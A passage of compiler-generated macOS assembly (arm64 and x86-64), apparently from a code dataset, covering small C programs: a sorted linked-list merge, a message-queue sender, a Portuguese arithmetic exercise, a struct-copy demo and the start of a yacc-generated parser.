.cfi_endproc ## -- End function .globl _free_singly_linked_list ## -- Begin function free_singly_linked_list .p2align 4, 0x90 _free_singly_linked_list: ## @free_singly_linked_list .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) LBB3_1: ## =>This Inner Loop Header: Depth=1 cmpq $0, -8(%rbp) je LBB3_3 ## %bb.2: ## in Loop: Header=BB3_1 Depth=1 movq -8(%rbp), %rax movq %rax, -16(%rbp) movq -8(%rbp), %rax movq 8(%rax), %rax movq %rax, -8(%rbp) movq -16(%rbp), %rdi callq _free jmp LBB3_1 LBB3_3: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _mergeLists ## -- Begin function mergeLists .p2align 4, 0x90 _mergeLists: ## @mergeLists .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movl $16, %edi callq _malloc movq %rax, -24(%rbp) movq -24(%rbp), %rax movq %rax, -32(%rbp) LBB4_1: ## =>This Inner Loop Header: Depth=1 xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpq $0, -8(%rbp) movb %al, -33(%rbp) ## 1-byte Spill je LBB4_3 ## %bb.2: ## in Loop: Header=BB4_1 Depth=1 cmpq $0, -16(%rbp) setne %al movb %al, -33(%rbp) ## 1-byte Spill LBB4_3: ## in Loop: Header=BB4_1 Depth=1 movb -33(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB4_4 jmp LBB4_8 LBB4_4: ## in Loop: Header=BB4_1 Depth=1 movq -8(%rbp), %rax movl (%rax), %eax movq -16(%rbp), %rcx cmpl (%rcx), %eax jg LBB4_6 ## %bb.5: ## in Loop: Header=BB4_1 Depth=1 movq -8(%rbp), %rcx movq -32(%rbp), %rax movq %rcx, 8(%rax) movq -8(%rbp), %rax movq %rax, -32(%rbp) movq -8(%rbp), %rax movq 8(%rax), %rax movq %rax, -8(%rbp) jmp LBB4_7 LBB4_6: ## in Loop: Header=BB4_1 Depth=1 movq -16(%rbp), %rcx movq -32(%rbp), %rax movq %rcx, 8(%rax) movq -16(%rbp), %rax movq %rax, -32(%rbp) movq -16(%rbp), %rax movq 8(%rax), %rax movq %rax, -16(%rbp) LBB4_7: ## in Loop: Header=BB4_1 Depth=1 jmp LBB4_1 LBB4_8: cmpq $0, -8(%rbp) je LBB4_10 ## %bb.9: movq -8(%rbp), %rcx movq -32(%rbp), %rax movq %rcx, 8(%rax) LBB4_10: cmpq $0, -16(%rbp) je LBB4_12 ## %bb.11: movq -16(%rbp), %rcx movq -32(%rbp), %rax movq %rcx, 8(%rax) LBB4_12: movq -24(%rbp), %rax movq 8(%rax), %rax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $176, %rsp movl $0, -4(%rbp) leaq L_.str.2(%rip), %rdi callq _getenv movq %rax, %rdi leaq L_.str.3(%rip), %rsi callq _fopen movq %rax, -16(%rbp) callq _readline movq %rax, -32(%rbp) movq -32(%rbp), %rdi leaq -24(%rbp), %rsi movl $10, %edx callq _strtol ## kill: def $eax killed $eax killed $rax movl %eax, -36(%rbp) movq -24(%rbp), %rax cmpq -32(%rbp), %rax je LBB5_2 ## %bb.1: movq -24(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax je LBB5_3 LBB5_2: movl $1, %edi callq _exit LBB5_3: movl $0, -40(%rbp) LBB5_4: ## =>This Loop Header: Depth=1 ## Child Loop BB5_9 Depth 2 ## Child Loop BB5_19 Depth 2 movl -40(%rbp), %eax cmpl -36(%rbp), %eax jge LBB5_27 ## %bb.5: ## in Loop: Header=BB5_4 Depth=1 movl $16, %edi callq _malloc movq %rax, -48(%rbp) movq -48(%rbp), %rax movq $0, (%rax) movq -48(%rbp), %rax movq $0, 8(%rax) callq _readline movq %rax, -64(%rbp) movq -64(%rbp), %rdi leaq -56(%rbp), %rsi movl $10, %edx callq _strtol ## kill: def $eax killed $eax killed $rax movl %eax, -68(%rbp) movq -56(%rbp), %rax cmpq -64(%rbp), %rax je LBB5_7 ## %bb.6: ## in Loop: Header=BB5_4 Depth=1 movq -56(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax je LBB5_8 LBB5_7: movl $1, %edi callq _exit LBB5_8: ## in Loop: Header=BB5_4 Depth=1 movl $0, -72(%rbp) LBB5_9: ## Parent Loop BB5_4 Depth=1 ## => This Inner Loop Header: Depth=2 movl -72(%rbp), %eax cmpl -68(%rbp), %eax jge LBB5_15 ## %bb.10: ## in Loop: Header=BB5_9 Depth=2 callq _readline movq %rax, -88(%rbp) movq -88(%rbp), %rdi leaq -80(%rbp), %rsi movl $10, %edx callq _strtol ## kill: def $eax killed $eax killed $rax movl %eax, -92(%rbp) movq -80(%rbp), %rax cmpq -88(%rbp), %rax je LBB5_12 ## %bb.11: ## in Loop: Header=BB5_9 Depth=2 movq -80(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax je LBB5_13 LBB5_12: movl $1, %edi callq _exit LBB5_13: ## in Loop: Header=BB5_9 Depth=2 movl -92(%rbp), %esi leaq -48(%rbp), %rdi callq _insert_node_into_singly_linked_list ## %bb.14: ## in Loop: Header=BB5_9 Depth=2 movl -72(%rbp), %eax addl $1, %eax movl %eax, -72(%rbp) jmp LBB5_9 LBB5_15: ## in Loop: Header=BB5_4 Depth=1 movl $16, %edi callq _malloc movq %rax, -104(%rbp) movq -104(%rbp), %rax movq $0, (%rax) movq -104(%rbp), %rax movq $0, 8(%rax) callq _readline movq %rax, -120(%rbp) movq -120(%rbp), %rdi leaq -112(%rbp), %rsi movl $10, %edx callq _strtol ## kill: def $eax killed $eax killed $rax movl %eax, -124(%rbp) movq -112(%rbp), %rax cmpq -120(%rbp), %rax je LBB5_17 ## %bb.16: ## in Loop: Header=BB5_4 Depth=1 movq -112(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax je LBB5_18 LBB5_17: movl $1, %edi callq _exit LBB5_18: ## in Loop: Header=BB5_4 Depth=1 movl $0, -128(%rbp) LBB5_19: ## Parent Loop BB5_4 Depth=1 ## => This Inner Loop Header: Depth=2 movl -128(%rbp), %eax cmpl -124(%rbp), %eax jge LBB5_25 ## %bb.20: ## in Loop: Header=BB5_19 Depth=2 callq _readline movq %rax, -144(%rbp) movq -144(%rbp), %rdi leaq -136(%rbp), %rsi movl $10, %edx callq _strtol ## kill: def $eax killed $eax killed $rax movl %eax, -148(%rbp) movq -136(%rbp), %rax cmpq -144(%rbp), %rax je LBB5_22 ## %bb.21: ## in Loop: Header=BB5_19 Depth=2 movq -136(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax je LBB5_23 LBB5_22: movl $1, %edi callq _exit LBB5_23: ## in Loop: Header=BB5_19 Depth=2 movl -148(%rbp), %esi leaq -104(%rbp), %rdi callq _insert_node_into_singly_linked_list ## %bb.24: ## in Loop: Header=BB5_19 Depth=2 movl -128(%rbp), %eax addl $1, %eax movl %eax, -128(%rbp) jmp LBB5_19 LBB5_25: ## in Loop: Header=BB5_4 Depth=1 movq -48(%rbp), %rax movq (%rax), %rdi movq -104(%rbp), %rax movq (%rax), %rsi callq _mergeLists movq %rax, -160(%rbp) leaq L_.str.4(%rip), %rax movq %rax, -168(%rbp) movq -160(%rbp), %rdi movq -168(%rbp), %rsi movq -16(%rbp), %rdx callq _print_singly_linked_list movq -16(%rbp), %rdi leaq L_.str.5(%rip), %rsi movb $0, %al callq _fprintf movq -160(%rbp), %rdi callq _free_singly_linked_list ## %bb.26: ## in Loop: Header=BB5_4 Depth=1 movl -40(%rbp), %eax addl $1, %eax movl %eax, -40(%rbp) jmp LBB5_4 LBB5_27: movq -16(%rbp), %rdi callq _fclose xorl %eax, %eax addq $176, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _readline ## -- Begin function readline .p2align 4, 0x90 _readline: ## @readline .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq $1024, -8(%rbp) ## imm = 0x400 movq $0, -16(%rbp) movq -8(%rbp), %rdi callq _malloc movq %rax, -24(%rbp) LBB6_1: ## =>This Inner Loop Header: Depth=1 movq -24(%rbp), %rax addq -16(%rbp), %rax movq %rax, -32(%rbp) movq -32(%rbp), %rdi movq -8(%rbp), %rax subq -16(%rbp), %rax movl %eax, %esi movq ___stdinp@GOTPCREL(%rip), %rax movq (%rax), %rdx callq _fgets movq %rax, -40(%rbp) cmpq $0, -40(%rbp) jne LBB6_3 ## %bb.2: jmp LBB6_9 LBB6_3: ## in Loop: Header=BB6_1 Depth=1 movq -32(%rbp), %rdi callq _strlen addq -16(%rbp), %rax movq %rax, -16(%rbp) movq -16(%rbp), %rax movq -8(%rbp), %rcx subq $1, %rcx cmpq %rcx, %rax jb LBB6_5 ## %bb.4: ## in Loop: Header=BB6_1 Depth=1 movq -24(%rbp), %rax movq -16(%rbp), %rcx subq $1, %rcx movsbl (%rax,%rcx), %eax cmpl $10, %eax jne LBB6_6 LBB6_5: jmp LBB6_9 LBB6_6: ## in Loop: Header=BB6_1 Depth=1 movq -8(%rbp), %rax shlq $1, %rax movq %rax, -48(%rbp) movq -24(%rbp), %rdi movq -48(%rbp), %rsi callq _realloc movq %rax, -24(%rbp) cmpq $0, -24(%rbp) jne LBB6_8 ## %bb.7: jmp LBB6_9 LBB6_8: ## in Loop: Header=BB6_1 Depth=1 movq -48(%rbp), %rax movq %rax, -8(%rbp) jmp LBB6_1 LBB6_9: movq -24(%rbp), %rax movq -16(%rbp), %rcx subq $1, %rcx movsbl (%rax,%rcx), %eax cmpl $10, %eax jne LBB6_11 ## %bb.10: movq -24(%rbp), %rax movq -16(%rbp), %rcx subq $1, %rcx movb $0, (%rax,%rcx) LBB6_11: movq -24(%rbp), %rdi movq -16(%rbp), %rsi callq _realloc movq %rax, -24(%rbp) movq -24(%rbp), %rax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d" L_.str.1: ## @.str.1 .asciz "%s" L_.str.2: ## @.str.2 .asciz "OUTPUT_PATH" L_.str.3: ## @.str.3 .asciz "w" L_.str.4: ## @.str.4 .asciz " " L_.str.5: ## @.str.5 .asciz "\n" .subsections_via_symbols
the_stack_data/132951762.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #272 .cfi_def_cfa_offset 272 stp x28, x27, [sp, #240] ; 16-byte Folded Spill stp x29, x30, [sp, #256] ; 16-byte Folded Spill add x29, sp, #256 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str wzr, [sp, #20] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF mov w1, #98 bl _ftok str w0, [sp, #12] adds w8, w0, #1 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _perror mov w0, #1 bl _exit LBB0_2: ldr w0, [sp, #12] mov w1, #932 bl _msgget str w0, [sp, #16] adds w8, w0, #1 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _perror mov w0, #1 bl _exit LBB0_4: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf mov x8, #1 str x8, [sp, #24] b LBB0_5 LBB0_5: ; =>This Inner Loop Header: Depth=1 add x8, sp, #24 add x0, x8, #8 bl _gets adrp x8, ___stdinp@GOTPAGE ldr x8, [x8, ___stdinp@GOTPAGEOFF] ldr x0, [x8] bl _feof subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_9 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_5 Depth=1 ldr w0, [sp, #16] add x1, sp, #24 mov x2, #208 mov w3, #0 bl _msgsnd adds w8, w0, #1 cset w8, ne tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _perror mov w0, #1 bl _exit LBB0_8: ; in Loop: Header=BB0_5 Depth=1 b LBB0_5 LBB0_9: ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: bl ___stack_chk_fail LBB0_11: mov w0, #0 ldp x29, x30, [sp, #256] ; 16-byte Folded Reload ldp x28, x27, [sp, #240] ; 16-byte Folded Reload add sp, sp, #272 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "sender.c" l_.str.1: ; @.str.1 .asciz "key" l_.str.2: ; @.str.2 .asciz "msgid" l_.str.3: ; @.str.3 .asciz "enter the text" l_.str.4: ; @.str.4 .asciz "msgsnd" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $240, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -220(%rbp) leaq L_.str(%rip), %rdi movl $98, %esi callq _ftok movl %eax, -228(%rbp) cmpl $-1, %eax jne LBB0_2 ## %bb.1: leaq L_.str.1(%rip), %rdi callq _perror movl $1, %edi callq _exit LBB0_2: movl -228(%rbp), %edi movl $932, %esi ## imm = 0x3A4 callq _msgget movl %eax, -224(%rbp) cmpl $-1, %eax jne LBB0_4 ## %bb.3: leaq L_.str.2(%rip), %rdi callq _perror movl $1, %edi callq _exit LBB0_4: leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf movq $1, -216(%rbp) LBB0_5: ## =>This Inner Loop Header: Depth=1 leaq -216(%rbp), %rdi addq $8, %rdi callq _gets movq ___stdinp@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _feof cmpl $0, %eax setne %al xorb $-1, %al testb $1, %al jne LBB0_6 jmp LBB0_9 LBB0_6: ## in Loop: Header=BB0_5 Depth=1 movl -224(%rbp), %edi leaq -216(%rbp), %rsi movl $208, %edx xorl %ecx, %ecx callq _msgsnd cmpl $-1, %eax jne LBB0_8 ## %bb.7: leaq L_.str.4(%rip), %rdi callq _perror movl $1, %edi callq _exit LBB0_8: ## in Loop: Header=BB0_5 Depth=1 jmp LBB0_5 LBB0_9: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_11 ## %bb.10: xorl %eax, %eax addq $240, %rsp popq %rbp retq LBB0_11: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "sender.c" L_.str.1: ## @.str.1 .asciz "key" L_.str.2: ## @.str.2 .asciz "msgid" L_.str.3: ## @.str.3 .asciz "enter the text" L_.str.4: ## @.str.4 .asciz "msgsnd" .subsections_via_symbols
the_stack_data/153269526.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 stur w8, [x29, #-20] ; 4-byte Folded Spill stur wzr, [x29, #-4] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov x9, sp sub x8, x29, #8 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF str x0, [sp, #32] ; 8-byte Folded Spill bl _scanf adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf ldr x0, [sp, #32] ; 8-byte Folded Reload mov x9, sp sub x8, x29, #12 str x8, [x9] bl _scanf ldur s1, [x29, #-8] ; implicit-def: $d0 fmov s0, s1 sshll.2d v0, v0, #0 ; kill: def $d0 killed $d0 killed $q0 scvtf d0, d0 fmov d1, #2.00000000 str d1, [sp, #40] ; 8-byte Folded Spill bl _pow ldr d1, [sp, #40] ; 8-byte Folded Reload stur d0, [x29, #-32] ; 8-byte Folded Spill ldur s2, [x29, #-12] ; implicit-def: $d0 fmov s0, s2 sshll.2d v0, v0, #0 ; kill: def $d0 killed $d0 killed $q0 scvtf d0, d0 bl _pow fmov d1, d0 ldur d0, [x29, #-32] ; 8-byte Folded Reload fsub d0, d0, d1 fcvtzs w8, d0 stur w8, [x29, #-16] ldur w8, [x29, #-8] ; implicit-def: $x11 mov x11, x8 ldur w8, [x29, #-12] ; implicit-def: $x10 mov x10, x8 ldur w9, [x29, #-16] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x11, [x9] str x10, [x9, #8] str x8, [x9, #16] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf ldur w0, [x29, #-20] ; 4-byte Folded Reload ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Primeiro valor: " l_.str.1: ; @.str.1 .asciz "%i" l_.str.2: ; @.str.2 .asciz "Segundo valor: " l_.str.3: ; @.str.3 .asciz "O quadrado da diferenca entre %i e %i e %i." .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function main LCPI0_0: .quad 0x4000000000000000 ## double 2 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf leaq L_.str.1(%rip), %rdi leaq -8(%rbp), %rsi movb $0, %al callq _scanf leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf leaq L_.str.1(%rip), %rdi leaq -12(%rbp), %rsi movb $0, %al callq _scanf cvtsi2sdl -8(%rbp), %xmm0 movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pow movsd %xmm0, -24(%rbp) ## 8-byte Spill cvtsi2sdl -12(%rbp), %xmm0 movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pow movaps %xmm0, %xmm1 movsd -24(%rbp), %xmm0 ## 8-byte Reload ## xmm0 = mem[0],zero subsd %xmm1, %xmm0 cvttsd2si %xmm0, %eax movl %eax, -16(%rbp) movl -8(%rbp), %esi movl -12(%rbp), %edx movl -16(%rbp), %ecx leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Primeiro valor: " L_.str.1: ## @.str.1 .asciz "%i" L_.str.2: ## @.str.2 .asciz "Segundo valor: " L_.str.3: ## @.str.3 .asciz "O quadrado da diferenca entre %i e %i e %i." .subsections_via_symbols
the_stack_data/287676.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _foo ; -- Begin function foo .p2align 2 _foo: ; @foo .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 mov w8, #1 strb w8, [sp, #15] strb wzr, [sp, #14] ldrsb w9, [sp, #15] mov w8, #2 and w8, w8, w9 strb w8, [sp, #14] add sp, sp, #16 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _foo ## -- Begin function foo .p2align 4, 0x90 _foo: ## @foo .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movb $1, -1(%rbp) movb $0, -2(%rbp) movsbl -1(%rbp), %eax andl $2, %eax ## kill: def $al killed $al killed $eax movb %al, -2(%rbp) popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/109651.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #144 .cfi_def_cfa_offset 144 stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] adrp x8, l___const.main.s1@PAGE add x8, x8, l___const.main.s1@PAGEOFF ldr q0, [x8] stur q0, [x29, #-48] ldr q0, [x8, #16] stur q0, [x29, #-32] adrp x8, l___const.main.s2@PAGE add x8, x8, l___const.main.s2@PAGEOFF ldr q0, [x8] str q0, [sp, #48] ldr q0, [x8, #16] str q0, [sp, #64] ldr q0, [sp, #64] stur q0, [x29, #-48] mov w8, #9 str w8, [sp, #64] mov x8, #3 str x8, [sp, #72] ldur w8, [x29, #-48] ; implicit-def: $x12 mov x12, x8 ldur x11, [x29, #-40] ldur w8, [x29, #-32] ; implicit-def: $x10 mov x10, x8 ldur x8, [x29, #-24] mov x9, sp str x12, [x9] str x11, [x9, #8] str x10, [x9, #16] str x8, [x9, #24] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF str x0, [sp, #40] ; 8-byte Folded Spill bl _printf ldr x0, [sp, #40] ; 8-byte Folded Reload ldr w8, [sp, #48] ; implicit-def: $x12 mov x12, x8 ldr x11, [sp, #56] ldr w8, [sp, #64] ; implicit-def: $x10 mov x10, x8 ldr x8, [sp, #72] mov x9, sp str x12, [x9] str x11, [x9, #8] str x10, [x9, #16] str x8, [x9, #24] bl _printf ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: bl ___stack_chk_fail LBB0_2: mov w0, #0 ldp x29, x30, [sp, #128] ; 16-byte Folded Reload add sp, sp, #144 ret .cfi_endproc ; -- End function .section __TEXT,__const .p2align 3 ; @__const.main.s1 l___const.main.s1: .long 4 ; 0x4 .space 4 .quad 5 ; 0x5 .long 7 ; 0x7 .space 4 .quad 8 ; 0x8 .p2align 3 ; @__const.main.s2 l___const.main.s2: .long 6 ; 0x6 .space 4 .quad 2 ; 0x2 .long 1 ; 0x1 .space 4 .quad 3 ; 0x3 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d %ld %d %ld\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq l___const.main.s1(%rip), %rax movq %rax, -48(%rbp) movq l___const.main.s1+8(%rip), %rax movq %rax, -40(%rbp) movq l___const.main.s1+16(%rip), %rax movq %rax, -32(%rbp) movq l___const.main.s1+24(%rip), %rax movq %rax, -24(%rbp) movq l___const.main.s2(%rip), %rax movq %rax, -80(%rbp) movq l___const.main.s2+8(%rip), %rax movq %rax, -72(%rbp) movq l___const.main.s2+16(%rip), %rax movq %rax, -64(%rbp) movq l___const.main.s2+24(%rip), %rax movq %rax, -56(%rbp) movq -64(%rbp), %rax movq %rax, -48(%rbp) movq -56(%rbp), %rax movq %rax, -40(%rbp) movl $9, -64(%rbp) movq $3, -56(%rbp) movl -48(%rbp), %esi movq -40(%rbp), %rdx movl -32(%rbp), %ecx movq -24(%rbp), %r8 leaq L_.str(%rip), %rdi movb $0, %al callq _printf movl -80(%rbp), %esi movq -72(%rbp), %rdx movl -64(%rbp), %ecx movq -56(%rbp), %r8 leaq L_.str(%rip), %rdi movb $0, %al callq _printf movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_2 ## %bb.1: xorl %eax, %eax addq $80, %rsp popq %rbp retq LBB0_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__const .p2align 4 ## @__const.main.s1 l___const.main.s1: .long 4 ## 0x4 .space 4 .quad 5 ## 0x5 .long 7 ## 0x7 .space 4 .quad 8 ## 0x8 .p2align 4 ## @__const.main.s2 l___const.main.s2: .long 6 ## 0x6 .space 4 .quad 2 ## 0x2 .long 1 ## 0x1 .space 4 .quad 3 ## 0x3 .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d %ld %d %ld\n" .subsections_via_symbols
the_stack_data/1176608.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 adrp x8, ___stdinp@GOTPAGE ldr x8, [x8, ___stdinp@GOTPAGEOFF] ldr x0, [x8] bl _feof subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 bl _quote_calc3_parse b LBB0_1 LBB0_3: mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _quote_calc3_parse ; -- Begin function quote_calc3_parse .p2align 2 _quote_calc3_parse: ; @quote_calc3_parse .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x11, _quote_calc3_nerrs@GOTPAGE ldr x11, [x11, _quote_calc3_nerrs@GOTPAGEOFF] str x11, [sp, #24] ; 8-byte Folded Spill adrp x9, _quote_calc3_errflag@GOTPAGE ldr x9, [x9, _quote_calc3_errflag@GOTPAGEOFF] str x9, [sp, #32] ; 8-byte Folded Spill adrp x10, _quote_calc3_char@GOTPAGE ldr x10, [x10, _quote_calc3_char@GOTPAGEOFF] str x10, [sp, #40] ; 8-byte Folded Spill adrp x8, _yystack@PAGE add x8, x8, _yystack@PAGEOFF stur x8, [x29, #-32] ; 8-byte Folded Spill adrp x12, _quote_calc3_val@GOTPAGE ldr x12, [x12, _quote_calc3_val@GOTPAGEOFF] stur x12, [x29, #-24] ; 8-byte Folded Spill str wzr, [x11] str wzr, [x9] mov w9, #-1 str w9, [x10] stur wzr, [x29, #-16] ldr x8, [x8, #8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_3 b LBB1_1 LBB1_1: adrp x0, _yystack@PAGE add x0, x0, _yystack@PAGEOFF bl _yygrowstack subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_3 b LBB1_2 LBB1_2: b LBB1_85 LBB1_3: ldur x8, [x29, #-32] ; 8-byte Folded Reload ldr x9, [x8, #8] str x9, [x8, #16] ldr x9, [x8, #32] str x9, [x8, #40] stur wzr, [x29, #-16] ldr x8, [x8, #16] strh wzr, [x8] b LBB1_4 LBB1_4: ; =>This Loop Header: Depth=1 ; Child Loop BB1_31 Depth 2 ldursw x9, [x29, #-16] adrp x8, _quote_calc3_defred@PAGE add x8, x8, _quote_calc3_defred@PAGEOFF ldrsh w8, [x8, x9, lsl #1] stur w8, [x29, #-12] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB1_6 b LBB1_5 LBB1_5: ; in Loop: Header=BB1_4 Depth=1 b LBB1_46 LBB1_6: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #40] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #0 cset w8, ge tbnz w8, #0, LBB1_10 b LBB1_7 LBB1_7: ; in Loop: Header=BB1_4 Depth=1 bl 